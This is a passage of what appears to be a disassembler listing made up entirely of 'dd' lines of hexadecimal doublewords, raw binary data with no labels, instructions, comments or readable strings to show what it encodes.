		dd 24ECF525h, 0CFBD518h, 6C08CD0Eh, 0BADAE0A8h,	262BF400h
		dd 5E92ACADh, 226E791Ch, 0E40098B5h, 12343EB8h,	339BA349h
		dd 88083109h, 0BACD2100h, 81FC383Eh, 0B4F251E4h, 7FE1CC0h
		dd 248DA6A5h, 8B060CB6h, 0D92910C0h, 0FF0E1837h, 0FC127371h
		dd 5AE930DDh, 1346207Bh, 2B005722h, 694C5AF1h, 9E9715h
		dd 403C6C09h, 0B52D819Fh, 80823D3Fh, 7F6534F5h,	18F6B3EDh
		dd 80A24E24h, 8318198Eh, 2E71BE1Bh, 78EE526Eh, 1232D061h
		dd 0EB7848B9h, 0D3D740h, 6AA63EC4h, 5A7C04E5h, 0C8856C28h
		dd 0D936C307h, 74C2A9E9h, 0E4D487F8h, 0F9B0F2D1h, 888C46h
		dd 8DA7023Ah, 53897D2Ch, 74F783Eh, 0A371072Ah, 7FB1CE50h
		dd 35FD3A8Eh, 0AB490D0h, 0F895A054h, 80BF91F0h,	18EDF52Ah
		dd 0A8448CBDh, 0F4C300D1h, 0A377FBE4h, 0EA02515Bh, 0A74A88CCh
		dd 0B58887FDh, 0DF40C190h, 1F507C69h, 1B72508h,	0E0FC85F9h
		dd 1078878Fh, 0EC019149h, 3885A72Dh, 73A1F2Fh, 0A8D59AE4h
		dd 0F84676h, 59446B7Dh,	9585043h, 7E35348Ah, 22E14CA0h
		dd 4186BF0h, 188882F8h,	784528FEh, 2C680A8Ch, 3B4F1ECh
		dd 860A5E16h, 0DD701802h, 80CDC38Dh, 58E8A724h,	9031E0BCh
		dd 0CC087A08h, 0BE21B008h, 358A93Eh, 4DBC8E1Ch,	0E96810A6h
		dd 5FB90A85h, 780A896h,	0EE543ED3h, 2B4A059Dh, 4F564622h
		dd 62E0BA80h, 0F2F64E73h, 0F56E1A12h, 3F152C60h, 0C10E23E7h
		dd 0C6217C18h, 1E3E38C3h, 42BDEA80h, 318C6C29h,	68FBFC29h
		dd 218AD71h, 1E8A771Ch,	920A4E80h, 10A3CCD6h, 806069F1h
		dd 0D44264EAh, 89E8285Dh, 65EC3EB0h, 7E4AC2Bh, 0B4255AF2h
		dd 8728670Bh, 0B05ABA2Ch, 354E96A3h, 0E7443450h, 0D863B87Ch
		dd 0D80EF728h, 4874A5h,	2F43A85Ah, 0E8D259D5h, 688D0224h
		dd 19FC2E81h, 9820FE31h, 1C2A29CEh, 197D79A4h, 4CBE77D0h
		dd 0D2125C8Bh, 0A4C05098h, 0E7077423h, 0D10EBD58h, 0C7807A88h
		dd 55B458E0h, 0AB7B2403h
		dd 47DC60ECh, 49150B18h, 8471B2h, 5CB46D0Ah, 3FBB4D4Fh
		dd 0D8BEA7EDh, 0A8ACF6A8h, 0E63F2DCCh, 89230074h, 1FDB46B9h
		dd 2114C529h, 4444EA1h,	0C08937EFh, 42BF498h, 2518E6F5h
		dd 206B328Ah, 81F4C8D0h, 0B839B72Ah, 4F3CFB00h,	93D7D6CAh
		dd 76B300C4h, 4BFD9835h, 5A168B9Fh, 3065E967h, 0FA23E03Ah
		dd 90E37600h, 3D47C52Ah, 83AC8BB7h, 60BBE448h, 10E9F51Eh
		dd 0B78A1D18h, 48F4D770h, 13F73918h, 0A38B4C09h, 0F0F13880h
		dd 0E4A2EE84h, 20EF5460h, 0EC011116h, 0D38A384Eh, 75A1AC00h
		dd 0C9BC552h, 8921C7D1h, 1E8CE0D8h, 0D7315AE6h,	702C38EBh
		dd 468BEE50h, 0B1AFDA00h, 94483D28h, 8DF70F1Fh,	0A0268211h
		dd 0FE3479F1h, 24C7A055h, 3F11C0A8h, 61431233h,	3EBFCA80h
		dd 0DC0016AEh, 78AD038Dh, 0CFC30C6h, 896D60DFh,	0C305E048h
		dd 0BEE7EDC0h, 134AF481h, 0C265FE00h, 69DC7C50h, 0FC013BFEh
		dd 0AEDDE896h, 0C8808805h, 4BB7905Ch, 8B0E1350h, 0E098327Ch
		dd 40B1154Ah, 87E0922h,	0D400CDC6h, 0D87B8039h,	82D8A761h
		dd 24252711h, 9D08F088h, 5E74FC01h, 60AA22h, 0DE3A26F7h
		dd 3F8011D8h, 1CFA03E7h, 0E894CBBEh, 5E518E8h, 8B4A9853h
		dd 74940B8Dh, 0F5D7802h, 0D8A11800h, 90042634h,	0A2D00F0h
		dd 0BD6592E6h, 0E8E91501h, 4D4EA0Eh, 848EF444h,	0D5C0B188h
		dd 94E857DFh, 82EE4404h, 1F30BCB0h, 18F208F5h, 0A7649105h
		dd 0F4BCDC40h, 1C02C526h, 0C9E4992h, 0F318486Ah, 24FF3DBAh
		dd 194EDF00h, 0DD102B56h, 96475306h, 46B89F64h,	0BB986776h
		dd 0E038930Eh, 58E21FC5h, 0EFD24022h, 0EE88F776h, 8498802Ah
		dd 0DC8F9024h, 0CCB26A67h, 2C57881h, 0F3D72F0Eh, 0E4656626h
		dd 0F067FBE4h, 8AB6AD37h, 70786492h, 2DDAB91Eh,	0C29CD03Eh
		dd 0F4C1048Ch, 387518F0h, 0F47601CEh, 181FAD21h, 0A21870DBh
		dd 4CACB359h, 113458F0h, 2E00C854h, 5B376D47h, 9E62D20Bh
		dd 0E1982C28h, 2020B352h, 0B899ACh, 6A41B469h, 27016FF6h
		dd 9DB7C54Fh, 218770FFh, 0E6E3524Bh, 0F300E96Ch, 0FFE4B39Ch
		dd 4CFB8DF6h, 8282B846h, 7848301Ch, 41C0EBB1h, 0A2B4FEEh
		dd 798AE4ACh, 0E8B90902h, 0B02701AEh, 8C280BBh,	0A07E443Ah
		dd 651F9200h, 0B2602615h, 72DA055Eh, 0DDD84193h, 0B0EC26E0h
		dd 4A30FC4h, 0DE78DB1Fh, 18B0CC68h, 9C725E12h, 2D371480h
		dd 0A4EA1212h, 53D80098h, 4872691h, 194585Dh, 641EB20Eh
		dd 68668A5Bh, 8B1BE012h, 0D9818484h, 80E05330h,	0CAAFD000h
		dd 3C22E215h, 27044C6Ch, 98F2E844h, 909663D4h, 0F93D9A5Fh
		dd 3077931Fh, 0B7DD5C03h, 0A4F90A21h, 8AC0F9B5h, 49840804h
		dd 0EC6D6C98h, 68073C07h, 1C301B54h, 7257BB6h, 6CC4DFF2h
		dd 168723D7h, 7D645153h, 0AB384A04h, 0C882BFF1h, 58E63079h
		dd 0E1011611h, 0C887AC88h, 0C00E58DFh, 62E45E81h, 58387A0Bh
		dd 2EA5A0E3h, 5723B8h, 5836745Fh, 0B5E0484Ah, 0B3B18E60h
		dd 180DBFh, 43DC9782h, 62F714FCh, 0E8ED781Ch, 0DC88B252h
		dd 735138CEh, 2F0C8058h, 98B98158h, 0FC6E7212h,	427F9C05h
		dd 2034CC0h, 0AC164CA9h, 0FC88B960h, 0FB1239F0h, 0BC304D81h
		dd 74F855BCh, 9A843F30h, 0C6F64E84h, 83DCC006h,	38E7D875h
		dd 8C9DBC38h, 942FF23Ah, 511C07E8h, 3976ED64h, 27C81974h
		dd 0B04C9490h, 80589ECAh, 661E9686h, 9A046C55h,	133F33D8h
		dd 53514E81h, 1096AC0h,	1CFC92C0h, 60A96567h, 0AC2ED2DCh
		dd 0AF4220FFh, 79E44904h, 0BB83C8C7h, 351F0796h, 0DFD5381Ah
		dd 0C0179986h, 34C2EB14h, 0FC04D3ACh, 110753F6h, 8497A4EAh
		dd 0B8688170h, 20AC23AFh, 5860B9D0h, 3E86D7F0h,	0B900CB45h
		dd 0C4C2B4C0h, 0DF0E06A5h, 45A33AD0h, 0C440DBE7h, 11886AFDh
		dd 79B4B937h, 0F01869h,	0C7469215h, 59EE04BFh, 0D67F2F1Fh
		dd 0BDCF6C24h, 94D02965h, 56749C30h, 1CFF18EDh,	0DD2F6A30h
		dd 0F90AFE1Fh, 75C05E7h, 4204EF0Eh, 6CC09739h, 0FA4EE0B0h
		dd 6C237C3Ah, 0C6BBF707h, 0FCE15017h, 0C088831Bh, 0B54B1D26h
		dd 0EB8170Ch, 7789742Ch, 0A5579883h, 25634C81h,	8386F4C0h
		dd 0C199FB28h, 1D3824F1h, 1890DA7Ah, 6F6C9C02h,	90A98938h
		dd 0E6F4C068h, 22CD4618h, 79CF016Bh, 0FBA4A8F4h, 1B9180B2h
		dd 0D20E23BDh, 6DD0C11Ch, 40E8A04Ch, 0C5BCDF98h, 623BF500h
		dd 8FA4B257h, 0E89EF0A9h, 0E7F01D17h, 990102C1h, 0FC5165F8h
		dd 0E4185671h, 0AB869F00h, 6358E57Ch, 1158BDh, 4D84A100h
		dd 968F5BC1h, 4B08DF14h, 8CFDAC30h, 3DD4F400h, 0F72534D2h
		dd 30CA4A03h, 0BE461814h, 84809C5Ch, 18C035DCh,	944FC2Dh
		dd 6661C4Ah, 1CA688A9h,	1481409Dh, 0B0803093h, 16DC6948h
		dd 9B1022A0h, 0E9097FD0h, 40EB9008h, 81182F78h,	2288D811h
		dd 9B7E4618h, 2C548678h, 3BC444B5h, 8FE0E824h, 0CB2711A3h
		dd 0F4D1ED61h, 94380947h, 0FB1CF8AFh, 0C94CA330h, 1CD921CDh
		dd 265410E6h, 46A9248h,	6D3840h, 454FB87Ch, 0B5A10BD7h
		dd 6890A994h, 12FA67B4h, 0FEDC930Bh, 62DC4D1Ah,	1C422A46h
		dd 208F9C8Bh, 101CD224h, 492E1A80h, 0ADD40E0h, 0E4270EA2h
		dd 905444F0h, 47649601h, 0F4FE85E6h, 1A003F28h,	0BC070E8h
		dd 205482B7h, 220C135Bh, 584759B6h, 1A42038Bh, 7A8E6AB2h
		dd 90519682h, 2018AB79h, 852DCA00h, 21A2E678h, 0AB602552h
		dd 300A9C89h, 0E13130C4h, 1112E353h, 0A840A260h, 74EB06D5h
		dd 0E0D7008Ch, 2E3B4B6h, 5401224Bh, 2930E8BCh, 5872FDE9h
		dd 2EF50F00h, 455D9EBAh, 5430ED0Bh, 91F8174Bh, 1FD180FAh
		dd 397A8985h, 1C0EF64Dh, 0DC34B86Eh, 0E83EBCC0h, 87A90Eh
		dd 0E93EBEC9h, 7B61EE2Fh, 0A3BE7E1h, 2C647CCh, 9E9CCA4Bh
		dd 0C0794E72h, 4FDBFF80h, 0F27C2311h, 4501C56h,	4E6701DFh
		dd 64F754FEh, 5E0E8468h, 0E9461080h, 0D9740398h, 0C476A113h
		dd 0EA62B09Ch, 85BCA3ACh, 392248E0h, 0F4802166h, 336EB726h
		dd 4C2634C1h, 9C2631F8h, 0B8012801h, 204E61A9h,	901EBA11h
		dd 7AA23B0h, 0B4235AECh, 4CCEDBh, 6B5AF42Eh, 9D2050h, 0B0F060C1h
		dd 389042A1h, 475C5C96h, 6E5C04A6h, 12BEF5E7h, 0C840CB4Fh
		dd 81F6C0ACh, 0AA00CD1Ch, 6135BA9Dh, 2C991FEh, 6618486Ch
		dd 0B4848092h, 875888C8h, 215E1496h, 0C38088F2h, 0F3B4ABF9h
		dd 0D548000Eh, 0E4012AC5h, 2C942282h, 9DE93F80h, 934C23B9h
		dd 3AF37060h, 1FACD00Bh, 56B084DEh, 774D0F0h, 0D6298AF7h
		dd 2C290B5Dh, 0FD91B097h, 9A465280h, 0C1092095h, 4D7DF9Ch
		dd 6488B604h, 0DC6A00F4h, 0A4AB2A33h, 5E0CCE50h, 286C9340h
		dd 4D96EE18h, 40BD07Dh,	4442586Eh, 9DE4B865h, 0E331A160h
		dd 0C61B0600h, 2D84F518h, 90600B40h, 0C08F0EDEh, 0CF01497h
		dd 3407D723h, 1104B854h, 0CACB4CF2h, 63BD9A00h,	6C097678h
		dd 0F983454h, 0D1509A94h, 18B17954h, 0D6A82D5Ah, 0C700010h
		dd 3FB97A24h, 54CE2000h, 3FD30F1Dh, 80817D74h, 7E9034B4h
		dd 0E8D468F8h, 0C7008C9Dh, 84F781Ch, 0B0345C56h, 283E898h
		dd 7E918DA9h, 0B0C0A6C8h, 0B22A2B92h, 6000F4E9h, 4E1DA112h
		dd 776151h, 646B23E2h, 248A1AE8h, 2840E75Ah, 34E6D1CFh
		dd 4E1000A6h, 0A8E12D8h, 0F0A09702h, 7FE8FC8Ah,	3FB6C0C4h
		dd 0B1ACFCE0h, 91605BCh, 908B86C4h, 0D85FB14Fh,	0AF5D2CC0h
		dd 5D5408F9h, 0F4101463h, 0EA2F0D6Fh, 0EC0E81C8h, 0B4C07A88h
		dd 80A91AFFh
		dd 89827CE4h, 42040BF4h, 0C088CDB4h, 0CDA9FEC8h, 0ABEB1A2Eh
		dd 2C6CE102h, 15945870h, 0FCB5B40Eh, 9177CA18h,	1F0513D4h
		dd 0A02B2935h, 40E90D80h, 1AFA0325h, 687710EFh,	8DFDF1F8h
		dd 18BD78A1h, 12540832h, 0B4C44101h, 58ABC440h,	22261AB7h
		dd 9A04F8A3h, 2F0F5746h, 890C705h, 94C8BA2Ch, 9011705h
		dd 0C1C080A2h, 0D66C58AEh, 4540710Fh, 13545EDAh, 12822270h
		dd 0F8C2DDh, 2AF33BFBh,	0CEB80E99h, 0EF6DF900h,	45BE084Eh
		dd 1C4A2EE9h, 0B20428C0h, 0B18F1510h, 0CA39B09Bh, 23915160h
		dd 0FE07023Eh, 58F734ABh, 7EE9E830h, 69E03251h,	3054D931h
		dd 0F1FD01DCh, 1B35A760h, 4C082324h, 91FC1284h,	0F40E1401h
		dd 389C89B6h, 0B53CCE6Dh, 23443A52h, 799C00A6h,	881A016Dh
		dd 6C66AE07h, 71C08C8Dh, 4AD81B82h, 0B780D1B5h,	9BF0CB8h
		dd 310EE53Eh, 0C4605451h, 3C03EC5h, 46CF0AC8h, 0A4D17B80h
		dd 0E8B07CF1h, 0FE1E8CAFh, 42416929h, 0B28B54F6h, 49001479h
		dd 836A9330h, 1F762FFBh, 8545B92Dh, 9CCB2E00h, 0EAC27DC8h
		dd 800601Ch, 53CB8DBh, 346A897Fh, 0AD40B058h, 174BD927h
		dd 80F8116Ch, 0F9B6D940h, 91E91378h, 0EF78300Fh, 6807810Ch
		dd 32224FCh, 6A382930h,	98D80BD1h, 0A08A13h, 77655204h
		dd 4C301C98h, 4BE5A0E6h, 0A849D86Fh, 16809538h,	0AF4E3066h
		dd 503E6838h, 1771B22Dh, 94AF916Ch, 15B0018h, 0A08B0863h
		dd 0F12E026Fh, 3865E146h, 6A71F079h, 52007B18h,	2FD1A0Fh
		dd 528269ECh, 0AC18C418h, 3B22D1EDh, 8980563Fh,	818DA890h
		dd 0FB3618E8h, 3FE0F88Ah, 0AD465C68h, 1F81DD00h, 4D1E267Ah
		dd 0CD20F912h, 0A05FE8C1h, 0A125A987h, 11919315h, 42B37BD8h
		dd 4E17681Dh, 9769901h,	4C3CE855h, 0F2058CEh, 0B7B8C1C3h
		dd 15464D00h, 0F9A79879h, 0D0D8B9A3h, 286866Ah,	0EC9E88F8h
		dd 0E0F0B054h, 0D25A9412h, 4CA20841h, 1987922Ch, 0C9A569FAh
		dd 0FBD194D1h, 6F3BB718h, 109D7EA2h, 0EED05FFCh, 0C2E13C7Fh
		dd 0E9106B00h, 0EE4E65CCh, 8204B300h, 0F2F05B56h, 0C0365DB8h
		dd 0FB232E00h, 9D251F7Eh, 82E46B0Eh, 0A3470068h, 25035CE0h
		dd 8847174Eh, 0C067E544h, 0FB88B3C1h, 1EB60B01h, 0D7CFB741h
		dd 6CBC3C7Ch, 0A67B3E8Ch, 2F78BD26h, 18F368A1h,	54053AB5h
		dd 0D0A24163h, 0E730EBF2h, 0ED7E0039h, 1C88A448h, 0EF28472Dh
		dd 6A09D740h, 3A0454h, 4EC52E64h, 29101382h, 23B83EB4h
		dd 641C3A7Eh, 78DA80E3h, 34BD9486h, 97701A25h, 9D6B916Ch
		dd 62698501h, 303306ECh, 942CA206h, 184EB82Fh, 0C0DF7008h
		dd 86C25AEFh, 68B63090h, 1B79950h, 2339DE59h, 70E90910h
		dd 0C9C07DCCh, 0F5CB7F68h, 63E100DEh, 0CDB9CABEh, 0D6007662h
		dd 19BB8C58h, 0F64A463Ch, 8B394A83h, 0CFA888D0h, 9A555C63h
		dd 3D7C54D0h, 22FD5207h, 0E7807F85h, 4CD889D4h,	0F2F86C47h
		dd 0AE008843h, 0F11D6F93h, 2713AB51h, 543EC6DEh, 0A4017A23h
		dd 0CDA0A123h, 0AA012C79h, 0A5A8283h, 84373AABh, 148554A0h
		dd 0C9797F0h, 38E6991h,	802E807Dh, 6F8CAC3Bh, 5D0E9F38h
		dd 0BC485C34h, 4884305h, 0A02C9E0Fh, 9F86E0E0h,	870F82Ah
		dd 1663B5BAh, 5912D93Fh, 67B07878h, 4F0F3EC0h, 60B1253Fh
		dd 0D04977DEh, 48352585h, 9DD8B8C0h, 0F665C680h, 14D4AEAh
		dd 0DE728858h, 2A18708Ch, 0EC888248h, 8843F2h, 52930815h
		dd 0E9946Fh, 0B742D76Bh, 0AA483AEh, 238C5F55h, 30FEA2BCh
		dd 616F0783h, 0C38880B1h, 5CF0C499h, 82C79C7Fh,	44BC574Ch
		dd 82BCB80Fh, 0A330EAh,	1F355096h, 0DD059012h, 86A054C8h
		dd 0A6C440A5h, 925DA067h, 0C6068E9Ch, 79CCE5D6h, 23900021h
		dd 2F62EE49h, 0AF00D09Fh, 85400A2Dh, 12F40163h,	0B21C65F6h
		dd 307DE218h, 0B017C9D1h, 0EC80D404h, 5A499FEh,	0CE63A2BAh
		dd 4768D1A6h, 0AC907937h, 46102C16h, 8A2943A0h,	504D004h
		dd 34A989D8h, 3E88E210h, 8E7496B4h, 383AB012h, 5F03A623h
		dd 0A09FADEAh, 1FF5455Bh, 0C92AA219h, 2840142Ch, 0E8A935B6h
		dd 0B87EC0A1h, 7B7A1800h, 60F72C9Ah, 1B851253h,	72D8B12Dh
		dd 30B4F2F4h, 0B94A66C4h, 0B6CF74D0h, 826002A2h, 0E69C34B4h
		dd 0A344907Ch, 28C4690Bh, 9230FE72h, 2C8618ABh,	574031CBh
		dd 0F5DDC1B8h, 0CCF2C08Fh, 820664BEh, 96697B22h, 917849A8h
		dd 0F655170Bh, 0E4686550h, 1E66081h, 1E8E0029h,	0C7524B8Dh
		dd 0F0051823h, 57052E80h, 3B3EC4B1h, 0D97E10D8h, 3DBC57C1h
		dd 7B42E868h, 0A221B700h, 0B822E217h, 0C4041082h, 287450E3h
		dd 0B915E4E2h, 0B4B5E6h, 93CB7EB7h, 14DE1FFCh, 0F5C6C097h
		dd 8BCC6A00h, 79D849BAh, 1E5A6C09h, 8880971Bh, 9C60D988h
		dd 2D3AEF2Ah, 642F49B0h, 3C24B168h, 0D2661602h,	216CD27Fh
		dd 94263BA2h, 299F00D6h, 0EF76E358h, 0E706CBC3h, 0A7264622h
		dd 84B0060h, 0E8CF2468h, 6A0E491Ah, 0FFC3E0B7h,	0DF613428h
		dd 0C1A99810h, 15008A6h, 306C552Fh, 2C042A16h, 0C8C28F6Ah
		dd 71E4D967h, 95E18FEh,	934CF651h, 9202B0D9h, 68578A1Dh
		dd 36AEFF8h, 2C692861h,	0ACE40386h, 43F3E814h, 0F61E0788h
		dd 0B0A00FFEh, 13BEA093h, 0F0765E21h, 4C1268ECh, 1002EBACh
		dd 0DB4B4894h, 1A10586Ch, 80A2C23Ch, 828665CCh,	3D4591EFh
		dd 94ADD0CFh, 0FC6A6C10h, 0FAE3D410h, 0A2881865h, 467A846Ch
		dd 0A3DCFB05h, 9026C464h, 0A322E100h, 3C0071EEh, 187A11A8h
		dd 92B02E66h, 0D604B630h, 8AA0983Ch, 0D44B7CBCh, 0B532308h
		dd 6893F12Fh, 0C037183Dh, 87941609h, 0C8AC8E8Eh, 63FDC0B0h
		dd 8713CE38h, 0AC27B7C9h, 0F3A095D0h, 0C3790F56h, 9200B608h
		dd 82387BEEh, 92781A27h, 5990F974h, 0E085187Eh,	5D4D6B0h
		dd 0E4168208h, 0EE0024A4h, 3529EA57h, 0B43C1D4Ch, 8D684F7Ch
		dd 27986009h, 0E04FB5BCh, 769D2DC1h, 3091FCDBh,	0DE17DCAh
		dd 0F2007CCBh, 73A512F0h, 5CB23FFCh, 0F8FC3C6Bh, 6DA3008Ch
		dd 0DA4DD41Ch, 0B14ED68Bh, 58F85CD0h, 84BDF7CEh, 2EA79400h
		dd 0F36806E4h, 0E0058201h, 6C5B9C28h, 90DF4B70h, 9E342C44h
		dd 887420DCh, 0C787E4h,	68C83F06h, 0FE605A54h, 5C02AC92h
		dd 0F336850Bh, 84D4A426h, 0FB8804CEh, 80822DC0h, 7A0E39E0h
		dd 9949FACh, 601A24E9h,	0F22C9882h, 4DA0E609h, 17B83C48h
		dd 3C8465Ch, 0B2FB4FA9h, 9A0CB90Eh, 1C918060h, 57048E5Bh
		dd 2285330h, 8D27CF18h,	4E44E8E8h, 5B089E00h, 59E779C5h
		dd 0DE6D03F3h, 654F273Fh, 7D504AA0h, 0DA080F66h, 6200021h
		dd 0D5F22A27h, 781C874Eh, 6540196Fh, 0DF9A1ACCh, 860C185Bh
		dd 331731D8h, 0FE78F074h, 551CBA76h, 718FA0CEh,	0B81D0089h
		dd 79B3435h, 721AD65Eh,	4187B013h, 0FD03C604h, 0BEFC6586h
		dd 8E581905h, 0CFA6A95Eh, 0E40CEE80h, 9B6B441Bh, 0B1A4E160h
		dd 18801B21h, 0B3FFF669h, 9F39482Fh, 0F569FB9h,	98A63B00h
		dd 0C05DA4B1h, 0FFA52D10h, 8E300AFEh, 870D4950h, 28E30155h
		dd 9F36F47Ah, 0B2088072h, 0DF2D1A2Eh, 5F55017Fh, 0D433D24h
		dd 0DDA7FCA1h, 900BE73h, 1898F7C5h, 0DC3107DAh,	0C14E8030h
		dd 0CCB77879h, 0AF1E560Ch, 0C04508D4h, 79CB6F21h, 5F00862Ah
		dd 8D947F69h, 3EB287Bh,	34B521F3h, 81AE70B9h, 33E3270Ch
		dd 1B81820h, 8D8A406Ch,	80420879h, 7FE0D251h, 5E7EA4h
		dd 1064BEFBh, 0A0221EF2h, 11336C02h, 0D52D4F67h, 0EB27B903h
		dd 51191BD3h, 0E6C0FD85h
		dd 7908BD18h, 0C4ACB77Ch, 0C7734046h, 793FB79h,	598A603Fh
		dd 80200042h, 1A603930h, 0F1784DB8h, 73B303C2h,	0E3AA1652h
		dd 214E0830h, 0F16DEBh,	0E65FCEEAh, 0E83F0DCDh,	756ED0Ch
		dd 0EEBB6941h, 0F150093h, 0B706B2BEh, 1201FA50h, 22748B63h
		dd 27CC7804h, 248331BBh, 0DCB3CAD0h, 2A1CB452h,	601671h
		dd 5F0DFA2Eh, 0C3AE938Dh, 0F6993218h, 0C02B0808h, 5EE5D720h
		dd 0CF7A4BA8h, 0D813C60h, 59DE7Ah, 0D74AEB83h, 0CC4999EEh
		dd 2D828701h, 5213CB54h, 628E0C20h, 0AE92D922h,	4CC0DCAFh
		dd 73383C9Ch, 0DE479E00h, 3DEB1121h, 0C2BC3F52h, 2E140800h
		dd 51FC3334h, 0A2C42453h, 9FD73048h, 6BF88707h,	27F30921h
		dd 0B9212634h, 49C60B6Eh, 601F3486h, 0C302E846h, 0BCB77679h
		dd 17714C1Ch, 89F6F903h, 64D0C927h, 8E018F94h, 40186F93h
		dd 0B3F43503h, 5C3A4947h, 68909619h, 1DC418DBh,	23B77579h
		dd 700E4411h, 122079CAh, 3D80EEB9h, 20749B14h, 11AA01A4h
		dd 0B46EFD99h, 7C6268F0h, 92CC1585h, 0BA01B41Eh, 29105588h
		dd 22E02682h, 80E000B8h, 7A068F55h, 5B7ED4F2h, 0D834642Ah
		dd 0B919A000h, 0DC5A1455h, 76B122Bh, 6A200832h,	865EE2C0h
		dd 10F64693h, 0DA382AFDh, 8F8C5E83h, 2C805A44h,	25027803h
		dd 1F271490h, 46B444B7h, 0F8C037E7h, 8C38A4F5h,	1C67F74h
		dd 0B407A194h, 20069754h, 7F14B738h, 4ECA9A3h, 517F240h
		dd 0C8E86493h, 0ECD3FEh, 0C89390D2h, 0EBAE5B8Ch, 4D609700h
		dd 0B1C569F9h, 46D890C0h, 0F177027Fh, 316BB3C3h, 70EA1023h
		dd 96D301F1h, 57220EF4h, 1DFC201Bh, 191EA218h, 7B1C85B0h
		dd 0C135630Ch, 60912AB9h, 70A8422Eh, 115F1030h,	8CE69388h
		dd 0DCC903h, 4E3B5EE8h,	0C61FEB64h, 37CED703h, 31ECB65h
		dd 3DF8F0F8h, 0A0FEC898h, 85B06C00h, 0BA845553h, 960E643h
		dd 9FB70F32h, 1C80042Eh, 7C11F50Ah, 0E4A71909h,	8860013Ah
		dd 2826CA2Eh, 0E2558602h, 0B4317228h, 557EDA10h, 412C6F09h
		dd 0FE1C03C3h, 575DB13Bh, 0CABA090h, 3036D3EEh,	0DEB41DA9h
		dd 0D984A92Ah, 0B151802h, 9CF23B20h, 95F1B00Ch,	0CF91B060h
		dd 3EC368E7h, 0AF803C80h, 0DAC14201h, 7900B3BDh, 23B99AA8h
		dd 52EE270Ch, 7B240B2h,	2470EB30h, 1694FEC2h, 0DD7848A1h
		dd 7779E1CFh, 4318D4B7h, 27C86E88h, 0B6DE8B79h,	16E7A400h
		dd 19A52450h, 50D57F45h, 8BF18E4h, 9CB77A79h, 754B42C4h
		dd 3D51B000h, 50923391h, 20A41C28h, 18ECA898h, 0C058B924h
		dd 0ABB72800h, 0E8D78101h, 0CDC995Ch, 3DE811FEh, 493C9532h
		dd 0C1AC9092h, 56A6007Fh, 84A97514h, 0D807D947h, 0D01BCA3Dh
		dd 855F12F0h, 0F8B35017h, 2CA4512Ch, 0C06BD041h, 0D954A001h
		dd 2DF030EBh, 0A8CF6819h, 128F1C18h, 5089A71Ah,	3D6A4401h
		dd 5C8228Fh, 0BA292717h, 0A89BB3C4h, 27EA68C2h,	0E955040h
		dd 3F072F18h, 7B3621h, 4A44297Fh, 73CB4C92h, 410D5C00h
		dd 0D53C6197h, 0E46F188Dh, 0B17C9837h, 0A77B5F1Ah, 0B26882B8h
		dd 0A1B82128h, 0CB20880Fh, 413864CAh, 41D8CF91h, 0C3194882h
		dd 14C2322Bh, 542B047h,	2134182Bh, 3D2C5AE2h, 0FC226896h
		dd 0F8A9E7Ch, 3DC968BCh, 0CD012C8Bh, 8D9CAC3Dh,	4CF9BE00h
		dd 1441BC84h, 0F0022B5Bh, 0B917E61Bh, 173C823h,	938B5F0Fh
		dd 880618FEh, 5E02E7D5h, 0B0C78D92h, 0F8CA035h,	0A46D2AB3h
		dd 5F110224h, 0C40E9389h, 0DB100419h, 0BE075EE9h, 9E172443h
		dd 3327865Bh, 992300C1h, 9C65AFAh, 6892B5ACh, 213E0230h
		dd 0C56F16h, 8C1E7C45h,	972ACE1Dh, 93D1E300h, 5994759Ah
		dd 0DA57E84h, 31646F95h, 969440A8h, 0B28024B0h,	407282Ch
		dd 0BC00A588h, 53F437A0h, 5CBF5B2Ch, 9F0490A6h,	0BCC941C8h
		dd 558C30DAh, 0A2290C11h, 0E48BAE88h, 9D40484h,	1E9004C8h
		dd 0C08A2C5Bh, 0F364EB54h, 0DB00B61Bh, 60EE2ED4h, 898B3Eh
		dd 0DA5E9448h, 0B91BF5FEh, 0D4E09B16h, 0C0848008h, 0B3BEF17Ch
		dd 22229346h, 0F171F700h, 82085672h, 125F814h, 0E52B9C2Ch
		dd 912683FDh, 8B80C5D0h, 9A290F55h, 83E30187h, 808CA55h
		dd 49F200D1h, 0B7EFF805h, 2200342Fh, 0FDA1EEC2h, 4C9D7E17h
		dd 0F50074BDh, 99CE36DBh, 85585CA8h, 8CBBBC60h,	170FA20Fh
		dd 4E1BE09Dh, 1CCFB304h, 0C0EB9C23h, 0D064473Eh, 8460673Dh
		dd 3CC79160h, 2BDCA059h, 29F324B3h, 6A5F01E4h, 0CC1182DBh
		dd 941C2026h, 9BC0BE36h, 1F524E8Ch, 232091A7h, 267C7890h
		dd 226427EAh, 208C8D70h, 57EB1B25h, 96A41858h, 2CA7388Ch
		dd 0D560BB44h, 6E01B2E8h, 4F7F4B91h, 1C201DA2h,	0B89C55D2h
		dd 0AF843000h, 7FA10129h, 9E1D5A39h, 207C2187h,	89C00FDAh
		dd 4198F107h, 68C800A6h, 0F3B89D16h, 800313Ch, 0DE45BB2Dh
		dd 199334B6h, 0D04664C7h, 40E02252h, 31ED7BBCh,	0F130220Ch
		dd 900C2AFDh, 1B4BBB00h, 42D1FF49h, 6DE20045h, 0F47BC3ACh
		dd 0DB29EB28h, 8844A825h, 0BBE2ACA2h, 208730h, 7913283h
		dd 0A154653Ch, 0B107B490h, 6CD4D88Dh, 0F8998830h, 532F04A0h
		dd 8142385Dh, 470828h, 146F61h,	4EA694F1h, 0FEA75B49h
		dd 162ADC98h, 6F3DA80Ah, 0B0A68431h, 0CA87B4C8h, 0E2708D67h
		dd 7E6034h, 0E58B855Eh,	0AF7B0CD3h, 5AAD8A0h, 0F03B472Eh
		dd 25F17DEh, 3498147Ch,	14339710h, 8198B78Dh, 56BFCB1Fh
		dd 0DA8A1880h, 0E2C58E6Dh, 6B62591Eh, 98F9C01h,	8829073Ch
		dd 77874100h, 0E961CBF6h, 0C8867509h, 0C7B0059Ah, 558D5020h
		dd 0AA29250Dh, 0E1006896h, 86C35585h, 8EBA568h,	1C314799h
		dd 71143580h, 519F3Eh, 20B2D945h, 0FE64AFA0h, 0FB97B712h
		dd 342CA080h, 0C4155CF3h, 0B4131715h, 7FF2007Bh, 0EC922A3Fh
		dd 0B77ABED7h, 94F8BB48h, 51A01058h, 592F6111h,	94182404h
		dd 4674BCE8h, 805700B8h, 0DC8CE5DDh, 6FF50CA5h,	84705ED8h
		dd 1DB92Eh, 1349FD44h, 4E91E497h, 0EDA0CD8Fh, 8421111Bh
		dd 0E10EE326h, 0FF5F1E00h, 5CC4F949h, 0B9C1209Fh, 43CF4367h
		dd 50C5C59Ch, 0AEB8DC70h, 4F28728Eh, 1F580143h,	5037088Bh
